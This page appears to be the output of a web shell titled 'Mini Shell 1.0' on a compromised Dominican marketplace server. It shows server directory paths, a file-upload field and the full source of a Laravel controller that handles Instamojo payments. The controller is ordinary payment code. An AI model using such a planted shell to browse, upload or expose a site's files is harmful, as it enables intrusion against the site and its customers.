HOME


Mini Shell 1.0
Negocios La Pieza.DO | Registrate o Inicia Sesión

¡Página no encontrada!

La página que busca no se encuentra en nuestro servidor.

Volver al inicio
DIR: /var/www/devs.lapieza.net/app/Http/Controllers/Api/V2/
Upload File :
Current File : /var/www/devs.lapieza.net/app/Http/Controllers/Api/V2/InstamojoController.php
<?php



namespace App\Http\Controllers\Api\V2;



use App\Http\Controllers\Api\V2\Seller\SellerPackageController as SellerSellerPackageController;

use App\Http\Controllers\Controller;

use Illuminate\Http\Request;

use App\Models\CombinedOrder;

use App\Models\BusinessSetting;

use App\Models\CustomerPackage;

use App\Models\SellerPackage;

use App\Http\Controllers\CustomerPackageController;

use App\Http\Controllers\SellerPackageController;

use App\Http\Controllers\WalletController;

use App\Http\Controllers\CheckoutController;





class InstamojoController extends Controller

{

    public function pay(Request $request)

    {

// dd(auth()->user()->phone);

        if (BusinessSetting::where('type', 'instamojo_sandbox')->first()->value == 1) {

            // testing_url

            $endPoint = 'https://test.instamojo.com/api/1.1/';

        } else {

            // live_url

            $endPoint = 'https://www.instamojo.com/api/1.1/';

        }



        $api = new \Instamojo\Instamojo(

            env('IM_API_KEY'),

            env('IM_AUTH_TOKEN'),

            $endPoint

        );





        if (preg_match_all('/^(?:(?:\+|0{0,2})91(\s*[\ -]\s*)?|[0]?)?[789]\d{9}|(\d[ -]?){10}\d$/im', auth()->user()->phone)) {



            $amount = 0;



            if ($request->payment_type == 'cart_payment') {

                $combined_order = CombinedOrder::findOrFail($request->combined_order_id);

                $amount =  round($combined_order->grand_total);

            } elseif ($request->payment_type == 'wallet_payment') {

                $amount = round($request->wallet_amount);

            } elseif ($request->payment_type == 'customer_package_payment') {

                $customer_package = CustomerPackage::findOrFail($request->customer_package_id);

                $amount = round($customer_package->amount);

            }

            try {

                $response = $api->paymentRequestCreate(array(

                    "purpose" => ucfirst(str_replace('_', ' ', $request->payment_type)),

                    "amount" => $amount,

                    "send_email" => false,

                    "email" => auth()->user()->email,

                    "phone" => auth()->user()->phone,

                    "redirect_url" => url("api/v2/instamojo/success?payment_option=$request->payment_option&payment_type=$request->payment_type&combined_order_id=$request->combined_order_id&wallet_amount=$request->wallet_amount&customer_package_id=$request->customer_package_id")

                ));

                return redirect($response['longurl']);

            } catch (\Exception $e) {

            }

        }

        return redirect(url("api/v2/online-pay/failed"))->with("errors",'Please add phone number to your profile');

    }

    // success response method.

    public function success(Request $request)

    {

        try {

            if (BusinessSetting::where('type', 'instamojo_sandbox')->first()->value == 1) {

                $endPoint = 'https://test.instamojo.com/api/1.1/';

            } else {

                $endPoint = 'https://www.instamojo.com/api/1.1/';

            }



            $api = new \Instamojo\Instamojo(

                env('IM_API_KEY'),

                env('IM_AUTH_TOKEN'),

                $endPoint

            );



            $response = $api->paymentRequestStatus(request('payment_request_id'));



            if (!isset($response['payments'][0]['status']) || $response['payments'][0]['status'] != 'Credit') {

                return redirect(url("api/v2/online-pay/failed"))->with("errors",translate('Payment Failed'));

            }

        } catch (\Exception $e) {

            return redirect(url("api/v2/online-pay/failed"))->with('errors',translate('Payment Failed'));

        }



        $payment = json_encode($response);

        return redirect( url("api/v2/online-pay/success?payment_type=$request->payment_type&combined_order_id=$request->combined_order_id&wallet_amount=$request->wallet_amount&customer_package_id=$request->customer_package_id&payment_details=$payment"));

        // }

    }

}